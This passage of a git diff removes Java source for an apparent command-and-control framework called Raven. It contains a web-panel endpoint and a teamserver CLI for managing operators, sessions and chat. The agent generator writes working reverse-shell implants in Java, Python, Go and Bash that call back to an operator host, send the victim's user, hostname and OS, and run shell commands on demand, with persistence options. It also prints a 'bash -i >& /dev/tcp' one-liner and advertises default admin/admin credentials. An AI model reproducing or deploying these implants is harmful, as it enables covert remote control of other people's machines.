(User.equalsIgnoreCase(Config.GetAdminUsername())) return GsonInst.toJson(Map.of("Error", "Cannot kick admin")); - if (Db.DeleteOperator(User)) return GsonInst.toJson(Map.of("Success", true, "Message", "Operator kicked: " + User)); - return GsonInst.toJson(Map.of("Error", "Operator not found: " + User)); - } - - private String ApiAgentGen(HttpExchange E) throws Exception { - Map B = Body(E); - String AgentId = Str(B, "AgentId", "agent-" + System.currentTimeMillis()); - String Host = Str(B, "Host", Config.GetServerHost()); - int Port = Num(B, "Port", Config.GetServerPort()); - boolean Mtls = Boolean.parseBoolean(Str(B, "Mtls", "false")); - boolean Persist = Boolean.parseBoolean(Str(B, "Persist", "false")); - boolean Hide = Boolean.parseBoolean(Str(B, "Hide", "false")); - String Lang = Str(B, "Lang", "java").toLowerCase(); - try { - com.raven.core.crypto.CertificateManager Mgr = new com.raven.core.crypto.CertificateManager(Config); - Mgr.Initialize(Host); - String CertPath = Mgr.CreateAgentCertificate(AgentId); - String OutDir = "IMPLANT/" + AgentId.toUpperCase(); - java.nio.file.Files.createDirectories(java.nio.file.Paths.get(OutDir)); - java.nio.file.Files.copy(java.nio.file.Paths.get(CertPath), java.nio.file.Paths.get(OutDir + "/agent.p12"), java.nio.file.StandardCopyOption.REPLACE_EXISTING); - java.nio.file.Files.copy(java.nio.file.Paths.get(Config.GetCaPath()), java.nio.file.Paths.get(OutDir + "/ca.p12"), java.nio.file.StandardCopyOption.REPLACE_EXISTING); - String AgentSrc = com.raven.utils.AgentSourceGen.Generate(Lang, AgentId, Host, Port, Mtls, Persist, Hide); - String SrcFile = OutDir + "/" + com.raven.utils.AgentSourceGen.Filename(Lang); - java.nio.file.Files.writeString(java.nio.file.Paths.get(SrcFile), AgentSrc); - java.nio.file.Files.writeString(java.nio.file.Paths.get(OutDir + "/README.txt"), "Agent — " + AgentId + "\n" + "Server : " + Host + ":" + Port + "\n" + "MTLS : " + Mtls + "\n" + "Lang : " + Lang + "\n" + "Files : agent.p12 ca.p12 agent." + LangExt(Lang) + "\n"); - AddLog("[AGENT-GEN] " + AgentId + " [" + Lang.toUpperCase() + "] → " + OutDir); - return GsonInst.toJson(Map.of("Success", true, "AgentId", AgentId, "OutputDir", OutDir, "Lang", Lang, "Mtls", Mtls, "Files", java.util.List.of("agent.p12", "ca.p12", com.raven.utils.AgentSourceGen.Filename(Lang), "README.txt"))); - } catch (Exception Ex) { - Logger.Error("AgentGen failed: " + Ex.getMessage()); - return GsonInst.toJson(Map.of("Error", "Agent generation failed: " + Ex.getMessage())); - } - } - - private String ApiAgentList(HttpExchange E) throws Exception { - java.nio.file.Path Dir = java.nio.file.Paths.get("IMPLANT"); - if (!java.nio.file.Files.exists(Dir)) return GsonInst.toJson(Map.of("Agents", new ArrayList<>())); - List> Agents = new ArrayList<>(); - java.nio.file.Files.list(Dir).forEach(P -> { - Map M = new LinkedHashMap<>(); - M.put("Id", P.getFileName().toString()); - M.put("Path", P.toString()); - M.put("Files", new java.io.File(P.toString()).list()); - Agents.add(M); - }); - return GsonInst.toJson(Map.of("Agents", Agents)); - } - - private String GenerateAgentSource(String Lang, String Id, String Host, int Port, boolean Mtls, boolean Persist, boolean Hide) { - return switch (Lang) { - case "python" -> PythonAgent(Id, Host, Port, Mtls, Persist); - case "go" -> GoAgent(Id, Host, Port, Mtls); - case "bash" -> BashAgent(Id, Host, Port); - default -> JavaAgent(Id, Host, Port, Mtls, Persist, Hide); - }; - } - - private static String LangExt(String Lang) { - return switch (Lang) { - case "python" -> "py"; - case "go" -> "go"; - case "bash" -> "sh"; - default -> "java"; - }; - } - - private String JavaAgent(String Id, String Host, int Port, boolean Mtls, boolean Persist, boolean Hide) { - String NL = "\n"; - return String.join( - NL, - "// Java Agent — " + Id, - "// Auto-generated. Compile: javac RavenAgent.java && java RavenAgent", - "// Requires: agent.p12, ca.p12 in working directory (only if MTLS=true)", - "import java.io.*;", - "import java.net.*;", - "import java.security.KeyStore;", - "import javax.net.ssl.*;", - "", - "public class RavenAgent {", - " static final String HOST = \"" + Host + "\";", - " static final int PORT = " + Port + ";", - " static final boolean MTLS = " + Mtls + ";", - " static final boolean PERSIST = " + Persist + ";", - " static final String KS_PASS = \"raven\";", - "", - " public static void main(String[] A) throws Exception {", - " do {", - " try { run(); } catch (Exception E) { Thread.sleep(5000); }", - " } while (PERSIST);", - " }", - "", - " static void run() throws Exception {", - " Socket S;", - " if (MTLS) {", - " KeyStore Ks = KeyStore.getInstance(\"PKCS12\");", - " Ks.load(new FileInputStream(\"agent.p12\"), KS_PASS.toCharArray());", - " KeyStore Ts = KeyStore.getInstance(\"PKCS12\");", - " Ts.load(new FileInputStream(\"ca.p12\"), KS_PASS.toCharArray());", - " KeyManagerFactory Km = KeyManagerFactory.getInstance(\"SunX509\");", - " Km.init(Ks, KS_PASS.toCharArray());", - " TrustManagerFactory Tm = TrustManagerFactory.getInstance(\"SunX509\");", - " Tm.init(Ts);", - " SSLContext Ctx = SSLContext.getInstance(\"TLS\");", - " Ctx.init(Km.getKeyManagers(), Tm.getTrustManagers(), null);", - " S = Ctx.getSocketFactory().createSocket(HOST, PORT);", - " } else {", - " S = new Socket(HOST, PORT);", - " }", - " InputStream In = S.getInputStream();", - " OutputStream Out = S.getOutputStream();", - " String Info = \"{\\\"Type\\\":\\\"RAVEN\\\",\\\"ID\\\":\\\"" + Id + "\\\",\\\"OS\\\":\\\"\"", - " + System.getProperty(\"os.name\")", - " + \"\\\",\\\"User\\\":\\\"\" + System.getProperty(\"user.name\")", - " + \"\\\",\\\"Hostname\\\":\\\"\" + InetAddress.getLocalHost().getHostName() + \"\\\"}\\n\";", - " Out.write(Info.getBytes(\"UTF-8\"));", - " BufferedReader R = new BufferedReader(new InputStreamReader(In));", - " PrintStream P = new PrintStream(Out, true, \"UTF-8\");", - " String Cmd;", - " while ((Cmd = R.readLine()) != null) {", - " try {", - " Process Proc = Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",Cmd});", - " byte[] Buf = Proc.getInputStream().readAllBytes();", - " P.print(new String(Buf, \"UTF-8\"));", - " P.print(\"\\u0000\");", - " P.flush();", - " } catch (Exception Ex) {", - " P.print(\"ERROR: \" + Ex.getMessage() + \"\\u0000\");", - " P.flush();", - " }", - " }", - " }", - "}" - ); - } - - private String PythonAgent(String Id, String Host, int Port, boolean Mtls, boolean Persist) { - String NL = "\n"; - return String.join( - NL, - "#!/usr/bin/env python3", - "# Python Agent — " + Id, - "import socket, subprocess, json, time, os, sys", - "HOST, PORT, PERSIST = \"" + Host + "\", " + Port + ", " + Persist, - "", - "def run():", - " s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", - " s.connect((HOST, PORT))", - " info = json.dumps({\"Type\":\"RAW\",\"ID\":\"" + Id + "\",\"OS\":sys.platform,", - " \"User\":os.getenv(\"USER\",\"\"),\"Hostname\":socket.gethostname()})", - " s.sendall(info.encode() + b\"\\n\")", - " f = s.makefile(\"rwb\", buffering=0)", - " while True:", - " cmd = f.readline().decode().strip()", - " if not cmd: break", - " try:", - " out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)", - " f.write(out + b\"\\x00\")", - " except Exception as e:", - " f.write(str(e).encode() + b\"\\x00\")", - "", - "while True:", - " try: run()", - " except: pass", - " if not PERSIST: break", - " time.sleep(5)" - ); - } - - private String GoAgent(String Id, String Host, int Port, boolean Mtls) { - String NL = "\n"; - return String.join( - NL, - "// Go Agent — " + Id, - "// Build: go build -o agent agent.go", - "package main", - "", - "import (", - " \"bufio\"", - " \"fmt\"", - " \"net\"", - " \"os\"", - " \"os/exec\"", - " \"strings\"", - ")", - "", - "func main() {", - " for {", - " if err := run(); err != nil { continue }", - " }", - "}", - "", - "func run() error {", - " conn, err := net.Dial(\"tcp\", \"" + Host + ":" + Port + "\")", - " if err != nil { return err }", - " defer conn.Close()", - " h, _ := os.Hostname()", - " u := os.Getenv(\"USER\")", - " fmt.Fprintf(conn, \"{\\\"Type\\\":\\\"RAW\\\",\\\"ID\\\":\\\"" + Id + "\\\",\\\"OS\\\":\\\"linux\\\",\\\"User\\\":\\\"%s\\\",\\\"Hostname\\\":\\\"%s\\\"}\\n\", u, h)", - " sc := bufio.NewScanner(conn)", - " for sc.Scan() {", - " cmd := strings.TrimSpace(sc.Text())", - " out, err := exec.Command(\"sh\", \"-c\", cmd).CombinedOutput()", - " if err != nil { out = append(out, []byte(err.Error())...) }", - " conn.Write(append(out, 0x00))", - " }", - " return nil", - "}" - ); - } - - private String BashAgent(String Id, String Host, int Port) { - String NL = "\n"; - return String.join(NL, "#!/bin/bash", "# Bash Agent — " + Id, "HOST=\"" + Host + "\"", "PORT=" + Port, "while true; do", " bash -i >& /dev/tcp/$HOST/$PORT 0>&1", " sleep 5", "done"); - } - - private void OnEvent(EventType Type, Map Data) { - switch (Type) { - case AgentConnected -> { - AddLog("SESSIONS-" + Data.get("ID") + " [" + Data.get("Type") + "] " + Data.get("User") + "@" + Data.get("Hostname") + " " + Data.get("OS")); - Db.SaveSessionEvent(Data, "connected"); - } - case AgentDisconnected -> { - AddLog("SESSIONS-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); - Db.SaveSessionEvent(Data, "disconnected"); - } - case Error -> AddLog("" + Data.get("Message")); - } - } - - private void AddLog(String Msg) { - String Entry = " [" + LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")) + "] " + Msg; - Logs.add(Entry); - if (Logs.size() > MaxLogs) Logs.remove(0); - Db.SaveLog(Entry); - } - - public void Stop() { - try { - if (ServerOwned && Server != null && Server.IsRunning()) { - Server.StopServer(); - } - } catch (Exception Ignored) {} - try { - if (HttpSrv != null) HttpSrv.stop(1); - } catch (Exception Ignored) {} - HttpSrv = null; - Server = null; - ServerOwned = false; - ServerStartTime = null; - Logger.Info("Web panel stopped"); - } - - public boolean IsRunning() { - return HttpSrv != null; - } - - private String Uptime() { - if (ServerStartTime == null) return "00:00:00"; - long S = Duration.between(ServerStartTime, Instant.now()).getSeconds(); - return String.format("%02d:%02d:%02d", S / 3600, (S % 3600) / 60, S % 60); - } - - @SuppressWarnings("unchecked") - private Map Body(HttpExchange E) throws Exception { - try (InputStream Is = E.getRequestBody()) { - String S = new String(Is.readAllBytes(), "UTF-8"); - if (S.isEmpty()) return new HashMap<>(); - return GsonInst.fromJson(S, Map.class); - } - } - - private static String Str(Map M, String K, String Def) { - Object V = M.get(K); - return V != null ? V.toString() : Def; - } - - private static int Num(Map M, String K, int Def) { - try { - return (int) Double.parseDouble(M.getOrDefault(K, Def).toString()); - } catch (Exception E) { - return Def; - } - } - - class IndexHandler implements HttpHandler { - - @Override - public void handle(HttpExchange E) throws IOException { - Path Tpl = ResolvePath(Config.GetTemplateDir() + "/index.html"); - if (!Files.exists(Tpl)) { - byte[] B = "404 index.html not found".getBytes(); - E.sendResponseHeaders(404, B.length); - try (OutputStream O = E.getResponseBody()) { - O.write(B); - } - return; - } - E.getResponseHeaders().add("Content-Type", "text/html; charset=UTF-8"); - byte[] Data = Files.readAllBytes(Tpl); - E.sendResponseHeaders(200, Data.length); - try (OutputStream O = E.getResponseBody()) { - O.write(Data); - } - } - } - - class StaticHandler implements HttpHandler { - - @Override - public void handle(HttpExchange E) throws IOException { - String ReqPath = E.getRequestURI().getPath(); - String Rel = ReqPath.startsWith("/static/") ? ReqPath.substring(7) : ReqPath; - Path Target = ResolvePath(Config.GetStaticDir() + Rel); - if (!Files.exists(Target) || Files.isDirectory(Target)) { - byte[] B = ("404 Not Found: " + ReqPath).getBytes(); - E.sendResponseHeaders(404, B.length); - try (OutputStream O = E.getResponseBody()) { - O.write(B); - } - return; - } - E.getResponseHeaders().add("Content-Type", ContentType(Target.toString())); - byte[] Data = Files.readAllBytes(Target); - E.sendResponseHeaders(200, Data.length); - try (OutputStream O = E.getResponseBody()) { - O.write(Data); - } - } - - private String ContentType(String P) { - if (P.endsWith(".html")) return "text/html; charset=UTF-8"; - if (P.endsWith(".css")) return "text/css"; - if (P.endsWith(".js")) return "application/javascript"; - if (P.endsWith(".json")) return "application/json"; - if (P.endsWith(".png")) return "image/png"; - if (P.endsWith(".svg")) return "image/svg+xml"; - if (P.endsWith(".ico")) return "image/x-icon"; - return "application/octet-stream"; - } - } -} diff --git a/src/main/java/com/raven/interface/CLI/CLI.java b/src/main/java/com/raven/interface/CLI/CLI.java deleted file mode 100644 index 2eb9652..0000000 --- a/src/main/java/com/raven/interface/CLI/CLI.java +++ /dev/null @@ -1,1197 +0,0 @@ -package com.raven.interfaces.CLI; - -import com.raven.core.db.TeamDatabase; -import com.raven.core.db.TeamDatabase.OperatorRole; -import com.raven.core.event.EventManager.EventType; -import com.raven.core.output.Logger; -import com.raven.core.server.ListenerMode; -import com.raven.core.server.RavenServer; -import com.raven.core.session.Session; -import com.raven.interfaces.banner.CLIBanner; -import com.raven.utils.AnsiColor; -import com.raven.utils.ServerConfig; -import com.raven.utils.SystemHelper; -import java.io.BufferedReader; -import java.io.Console; -import java.io.IOException; -import java.io.InputStreamReader; -import java.time.Duration; -import java.time.Instant; -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; -import java.util.ArrayList; -import java.util.Collections; -import java.util.LinkedHashMap; -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.concurrent.CopyOnWriteArrayList; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.atomic.AtomicInteger; - -public class CLI { - - private static final Object SharedServerLock = new Object(); - private static volatile RavenServer SharedServer = null; - private static volatile Instant SharedServerStartTime = null; - private static volatile List SharedLogs = new CopyOnWriteArrayList<>(); - private final ServerConfig Config; - private final TeamDatabase Db; - private RavenServer Server; - private Instant ServerStartTime; - private final List Logs = new CopyOnWriteArrayList<>(); - private final List> ChatMessages = new CopyOnWriteArrayList<>(); - private static final int MaxChat = 500; - private final int MaxLogs; - private volatile boolean Running = true; - private int CurrentSession = -1; - private ListenerMode ActiveMode = ListenerMode.MULTI; - private String OperatorName = null; - private OperatorRole OperatorRoles = null; - private boolean IsTeamServerMode = false; - - public CLI(ServerConfig Config) { - this.Config = Config; - this.MaxLogs = Config.GetMaxLogEntries(); - this.Db = TeamDatabase.Connect(Config); - } - - private volatile int CachedWidth = -1; - private final AtomicInteger TermWidth = new AtomicInteger(-1); - private Thread WidthPoller; - - private void StartWidthPoller() { - WidthPoller = new Thread(() -> { - while (!Thread.currentThread().isInterrupted()) { - int Width = DetectTermWidth(); - TermWidth.set(Width); - try { - Thread.sleep(250); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - break; - } - } - }, "term-width-poller"); - WidthPoller.setDaemon(true); - WidthPoller.start(); - } - - private int TermWidth() { - String Colums = System.getenv("COLUMNS"); - if (Colums != null && !Colums.isBlank()) { - try { - return Math.max(40, Integer.parseInt(Colums.trim())); - } catch (NumberFormatException Ignored) {} - } - - if (WidthPoller == null || !WidthPoller.isAlive()) StartWidthPoller(); - - int Cached = TermWidth.get(); - if (Cached > 0) return Cached; - - int Detected = DetectTermWidth(); - TermWidth.set(Detected); - return Detected; - } - - private int DetectTermWidth() { - String os = System.getProperty("os.name", "").toLowerCase(); - if (os.contains("win")) { - Integer Width = WinTermWidth(); - return Width != null ? Width : 80; - } - Integer UnixTermWidth = UnixTermWidth(); - return UnixTermWidth != null ? UnixTermWidth : 80; - } - - private Integer UnixTermWidth() { - Integer Width = UnixTermWidthidthStty(); - if (Width != null) return Width; - return UnixTermWidthidthTput(); - } - - private Integer UnixTermWidthidthStty() { - try { - ProcessBuilder ExecuteProcess = new ProcessBuilder("sh", "-c", "stty size < /dev/tty"); - ExecuteProcess.redirectErrorStream(true); - Process ExecuteThread = ExecuteProcess.start(); - String Output = new String(ExecuteThread.getInputStream().readAllBytes()).trim(); - ExecuteThread.waitFor(); - String[] Parts = Output.split("\\s+"); - if (Parts.length >= 2) return Math.max(40, Integer.parseInt(Parts[1])); - } catch (Exception Ignored) {} - return null; - } - - private Integer UnixTermWidthidthTput() { - try { - ProcessBuilder ExecuteProcess = new ProcessBuilder("sh", "-c", "tput cols < /dev/tty"); - ExecuteProcess.redirectErrorStream(true); - Process ExecuteThread = ExecuteProcess.start(); - String Output = new String(ExecuteThread.getInputStream().readAllBytes()).trim(); - ExecuteThread.waitFor(); - if (!Output.isBlank()) return Math.max(40, Integer.parseInt(Output)); - } catch (Exception Ignored) {} - return null; - } - - private Integer WinTermWidth() { - Integer Width = WinWidthPowerShell(); - if (Width != null) return Width; - return WinWidthModeCon(); - } - - private Integer WinWidthPowerShell() { - try { - ProcessBuilder ExecuteProcess = new ProcessBuilder("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", "[Console]::WindowWidth"); - ExecuteProcess.redirectErrorStream(true); - ExecuteProcess.redirectInput(ProcessBuilder.Redirect.INHERIT); - Process ExecuteThread = ExecuteProcess.start(); - String Output = new String(ExecuteThread.getInputStream().readAllBytes()).trim(); - boolean Finished = ExecuteThread.waitFor(1500, TimeUnit.MILLISECONDS); - if (!Finished) { - ExecuteThread.destroyForcibly(); - return null; - } - if (!Output.isBlank()) { - String Digits = Output.replaceAll("\\D+", ""); - if (!Digits.isBlank()) { - int Value = Integer.parseInt(Digits); - if (Value >= 20 && Value <= 1000) return Math.max(40, Value); - } - } - } catch (Exception Ignored) {} - return null; - } - - private Integer WinWidthModeCon() { - try { - ProcessBuilder ExecuteProcess = new ProcessBuilder("cmd.exe", "/c", "mode con"); - ExecuteProcess.redirectErrorStream(true); - Process ExecuteThread = ExecuteProcess.start(); - String Output = new String(ExecuteThread.getInputStream().readAllBytes()); - boolean Finished = ExecuteThread.waitFor(1500, TimeUnit.MILLISECONDS); - if (!Finished) { - ExecuteThread.destroyForcibly(); - return null; - } - for (String Line : Output.split("\\r?\\n")) { - String Lower = Line.toLowerCase(); - if (Lower.contains("column") || Lower.contains("kolom")) { - String Digits = Line.replaceAll("[^0-9]", ""); - if (!Digits.isBlank()) { - int Value = Integer.parseInt(Digits); - if (Value >= 20 && Value <= 1000) return Math.max(40, Value); - } - } - } - } catch (Exception Ignored) {} - return null; - } - - private static final String FrameIndent = " "; - - private int ContentWidth() { - return Math.max(36, TermWidth() - FrameIndent.length() - 2); - } - - private String Indent(String Text) { - return FrameIndent + Text; - } - - private String Box(String Title) { - int Width = ContentWidth(); - int Inner = Math.max(0, Width - 2); - int PaddingLeft = Math.max(0, (Inner - Title.length()) / 2); - int PaddingRight = Math.max(0, Inner - PaddingLeft - Title.length()); - String HLine = "─"; - String VLine = "|"; - String ULLine = "┌"; - String URLine = "┐"; - String BLLine = "└"; - String BRLine = "┘"; - String Spaces = " "; - String NLine = "\n"; - String Top = AnsiColor.White + ULLine + HLine.repeat(Inner) + URLine + AnsiColor.Reset; - String Middle = AnsiColor.White + VLine + Spaces.repeat(PaddingLeft) + AnsiColor.Green + Title + Spaces.repeat(PaddingRight) + AnsiColor.White + VLine + AnsiColor.Reset; - String Bottom = AnsiColor.White + BLLine + HLine.repeat(Inner) + BRLine + AnsiColor.Reset; - return NLine + Indent(Top) + NLine + Indent(Middle) + NLine + Indent(Bottom); - } - - private String OutputBox(String Output) { - int Width = Math.max(34, ContentWidth()); - int Inner = Math.max(0, Width - 2); - int LineWidth = Math.max(1, Inner - 2); - String Label = "─ Output "; - String HLine = "─"; - String VLine = "|"; - String ULLine = "┌"; - String URLine = "┐"; - String BLLine = "└"; - String BRLine = "┘"; - String Spaces = " "; - String NLine = "\n"; - String Top = AnsiColor.Green + ULLine + Label + HLine.repeat(Math.max(0, Inner - Label.length())) + URLine + AnsiColor.Reset; - String Bottom = AnsiColor.Green + BLLine + HLine.repeat(Inner) + BRLine + AnsiColor.Reset; - StringBuilder StrBuilder = new StringBuilder(Indent(Top) + NLine); - for (String Line : Output.split("\n", -1)) { - String Stripped = Line.replaceAll("\u001B\\[[;\\d?]*[A-Za-z]|\u001B[=>]|\r", ""); - while (Stripped.length() > LineWidth) { - String chunk = Stripped.substring(0, LineWidth); - StrBuilder.append(Indent(AnsiColor.Green)) - .append(VLine + Spaces) - .append(AnsiColor.White) - .append(chunk) - .append(AnsiColor.Green) - .append(Spaces + VLine) - .append(AnsiColor.Reset) - .append(NLine); - Stripped = Stripped.substring(LineWidth); - } - int Padding = Math.max(0, LineWidth - Stripped.length()); - StrBuilder.append(Indent(AnsiColor.Green)) - .append(VLine + Spaces) - .append(AnsiColor.White) - .append(Stripped) - .append(Spaces.repeat(Padding)) - .append(AnsiColor.Green) - .append(Spaces + VLine) - .append(AnsiColor.Reset) - .append(NLine); - } - return StrBuilder.append(Indent(Bottom)).toString(); - } - - private String Divider() { - String HLine = "─"; - return Indent(AnsiColor.White + HLine.repeat(ContentWidth()) + AnsiColor.Reset); - } - - private void ShowHelp() { - System.out.println(Box("COMMAND REFERENCE")); - System.out.println(); - CLIBanner.Print(); - if (IsTeamServerMode && OperatorName != null) { - System.out.println(); - System.out.printf(" %s[TEAMSERVER MODE]%s OPERATOR: %s%s%s Role: %s%s%s%n", AnsiColor.Red, AnsiColor.Reset, AnsiColor.White, OperatorName, AnsiColor.Reset, AnsiColor.White, OperatorRoles != null ? OperatorRoles.name() : "?", AnsiColor.Reset); - if (OperatorRoles != null) System.out.printf(" %sPermissions:%s %s%n", AnsiColor.Red, AnsiColor.White, OperatorRoles.PermissionString()); - } - System.out.println(); - } - - private boolean TeamLogin(BufferedReader Reader) throws IOException { - System.out.println(Box("TEAMSERVER LOGIN")); - System.out.println(); - System.out.printf(" %sDefault credentials: admin / admin (change after first login)%s%n%n", AnsiColor.White, AnsiColor.Reset); - for (int Attempt = 1; Attempt <= 3; Attempt++) { - System.out.printf(" %sUsername:%s ", AnsiColor.Red, AnsiColor.Reset); - System.out.flush(); - String Username = Reader.readLine(); - if (Username == null) return false; - Username = Username.trim(); - System.out.printf(" %sPassword:%s ", AnsiColor.Red, AnsiColor.Reset); - System.out.flush(); - String Pass; - Console Cons = System.console(); - if (Cons != null) { - char[] Pw = Cons.readPassword(); - Pass = Pw != null ? new String(Pw) : ""; - } else { - Pass = Reader.readLine(); - } - if (Pass == null) return false; - if (!Db.ValidateOperator(Username, TeamDatabase.HashPassword(Pass))) { - System.out.printf(" %sInvalid credentials - Attempt %d/3%s%n%n", AnsiColor.Red, Attempt, AnsiColor.Reset); - continue; - } - OperatorName = Username; - OperatorRoles = Db.GetOperatorRole(Username); - Db.UpdateLastSeen(Username); - Logger.Info("Operator login: " + Username + " [" + OperatorRoles + "]"); - System.out.printf(" %n%sWelcome, %s [%s]%s%n", AnsiColor.Green, Username, OperatorRoles, AnsiColor.Reset); - System.out.printf(" %sPermissions:%s %s%n%n", AnsiColor.Red, AnsiColor.White, OperatorRoles.PermissionString()); - return true; - } - Logger.Error("authentication failed - exit."); - return false; - } - - private void ShowSessions() { - if (Server == null) { - System.out.println(Box("ACTIVE SESSIONS")); - System.out.println(); - Logger.Info("running in cross-process mode - session list unavailable."); - Logger.Info("use the primary operator terminal or webstart to view sessions.\n"); - return; - } - List Sessions = Server.GetSessions().GetAll(); - System.out.println(Box("ACTIVE SESSIONS")); - System.out.println(); - if (Sessions.isEmpty()) { - Logger.Info("no active sessions"); - return; - } - System.out.printf(" %s%-5s %-14s %-14s %-16s %-10s %-10s %s%s%n", AnsiColor.Blue, "ID", "NAME/CERT", "TYPE", "IP", "OS", "USER", "session-KEY", AnsiColor.Reset); - System.out.println(Divider()); - for (Session S : Sessions) System.out.printf(" %s#%-4d %-14s %-14s %-16s %-10s %-10s %s%s%n", AnsiColor.White, S.GetId(), S.GetDisplayName().length() > 14 ? S.GetDisplayName().substring(0, 13) + "-" : S.GetDisplayName(), S.GetSessionType().name(), S.GetAgentIp(), S.GetOs().length() > 10 ? S.GetOs().substring(0, 9) + "-" : S.GetOs(), S.GetUser(), S.GetSessionKey(), AnsiColor.Reset); - System.out.println(); - } - - private void ShowStatus() { - long Up = ServerStartTime != null ? Duration.between(ServerStartTime, Instant.now()).getSeconds() : 0; - System.out.println(Box("SERVER STATUS")); - System.out.println(); - if (Server == null || !Server.IsRunning()) { - if (IsTeamServerMode && ServerStartTime != null) { - System.out.printf(" %sStatus %sONLINE (cross-process)%n", AnsiColor.Red, AnsiColor.Green); - System.out.printf(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); - System.out.printf(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Config.GetServerHost(), Config.GetServerPort()); - System.out.printf(" %sUptime %s%s (local session)%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); - System.out.printf(" %sSessions %s(N/A - cross-process)%n", AnsiColor.Red, AnsiColor.White); - } else { - System.out.printf(" %sStatus %sOFFLINE%n", AnsiColor.Red, AnsiColor.Red); - } - } else { - System.out.printf(" %sStatus %sONLINE%n", AnsiColor.Red, AnsiColor.Green); - System.out.printf(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); - System.out.printf(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); - System.out.printf(" %sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); - System.out.printf(" %sSessions %s%d%n", AnsiColor.Red, AnsiColor.White, Server.GetSessions().Count()); - } - System.out.printf(" %sDB %s%s (%s)%n", AnsiColor.Red, AnsiColor.White, Db.IsConnected() ? "connected" : "memory", Config.GetDbType()); - if (IsTeamServerMode && OperatorName != null) System.out.printf(" %sOperator %s%s [%s]%n", AnsiColor.Red, AnsiColor.White, OperatorName, OperatorRoles); - System.out.println(); - } - - private void ShowStats() { - System.out.println(Box("SESSION STATISTICS")); - System.out.println(); - if (Server == null) { - System.out.printf(" %sServer %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Config.GetServerHost(), Config.GetServerPort()); - System.out.printf(" %sTotal %s(N/A - cross-process mode)%n", AnsiColor.Red, AnsiColor.White); - System.out.println(); - return; - } - Map Stats = Server.GetSessions().GetStats(); - System.out.printf(" %sServer %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); - System.out.printf(" %sTOTAL %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("Total")); - System.out.printf(" %sRAVEN %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("RAVEN")); - System.out.printf(" %sRAW %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("REVERSE_SHELL")); - System.out.println(); - } - - private void ShowLogs() { - System.out.println(Box("RECENT LOGS")); - System.out.println(); - if (Logs.isEmpty()) { - Logger.Info(Indent(" no logs") + "\n"); - return; - } - int Start = Math.max(0, Logs.size() - 25); - for (int I = Start; I < Logs.size(); I++) Logger.Info(Indent(Logs.get(I))); - System.out.println(); - } - - private void ShowOperators() { - List> Ops = Db.GetOperators(); - System.out.println(Box("OPERATORS (" + Ops.size() + ")")); - System.out.println(); - System.out.printf(" %s%-18s %-14s %-24s %-20s%s%n", AnsiColor.Green, "USERNAME", "ROLE", "PERMISSIONS", "LAST SEEN", AnsiColor.Reset); - System.out.println(Divider()); - for (Map Op : Ops) { - OperatorRole R = OperatorRole.FromString(Op.get("Role").toString()); - boolean IsSelf = Op.get("Username").toString().equals(OperatorName); - String Mark = IsSelf ? AnsiColor.Green + " < YOU" + AnsiColor.White : ""; - System.out.printf(" %s%-18s %-14s %-24s %-20s%s%s%n", AnsiColor.White, Op.get("Username"), R.name(), "[" + R.ShortPerm() + "] " + R.PermissionString().replaceAll("^\\[.*?\\]\\s*", ""), Op.getOrDefault("LastSeen", "Never"), Mark, AnsiColor.Reset); - } - System.out.println(); - Logger.Info(AnsiColor.Red + "Roles:" + AnsiColor.Reset); - for (OperatorRole R : OperatorRole.values()) System.out.printf(" %s%-14s%s %s%n", AnsiColor.White, R.name(), AnsiColor.Reset, R.PermissionString()); - System.out.println(); - } - - private void ShowChat() { - System.out.println(Box("CHAT MESSAGES")); - System.out.println(); - if (ChatMessages.isEmpty()) { - Logger.Info("no messages\n"); - return; - } - String MyName = OperatorName != null ? OperatorName : ""; - for (Map M : ChatMessages) { - String From = M.getOrDefault("From", "?").toString(); - String To = M.getOrDefault("To", "all").toString(); - String Msg = M.getOrDefault("Message", "").toString(); - String Time = M.getOrDefault("Time", "").toString(); - boolean IsMine = From.equals(MyName); - String ToLabel = To.equals("all") ? "all" : "> " + To; - System.out.printf(" %s[%s] %s%s%s [%s]: %s%s%n", IsMine ? AnsiColor.Green : AnsiColor.White, Time, IsMine ? AnsiColor.Green : AnsiColor.Red, From, AnsiColor.Reset, ToLabel, Msg, AnsiColor.Reset); - } - System.out.println(); - } - - private void SendChat(String To, String Message) { - if (OperatorName == null) { - Logger.Info("not in team mode"); - return; - } - Map Entry = new LinkedHashMap<>(); - Entry.put("From", OperatorName); - Entry.put("To", To); - Entry.put("Message", Message); - Entry.put("Time", java.time.LocalTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss"))); - ChatMessages.add(Entry); - if (ChatMessages.size() > MaxChat) ChatMessages.remove(0); - Db.SaveChatLog(OperatorName, To, Message); - System.out.printf("Message sent to [%s]%s%n", AnsiColor.Green, To, AnsiColor.Reset); - } - - private void ShowChatHistory() { - List> Logs = Db.GetChatLogs(100); - System.out.println(Box("CHAT HISTORY (DB - last 100)")); - System.out.println(); - if (Logs.isEmpty()) { - Logger.Info("no chat history in database\n"); - return; - } - List> Ordered = new ArrayList<>(Logs); - Collections.reverse(Ordered); - String MyName = OperatorName != null ? OperatorName : ""; - for (Map M : Ordered) { - String From = M.getOrDefault("from_operator", "?").toString(); - String To = M.getOrDefault("to_operators", "all").toString(); - String Msg = M.getOrDefault("message", "").toString(); - String Time = M.getOrDefault("timestamp", "").toString(); - if 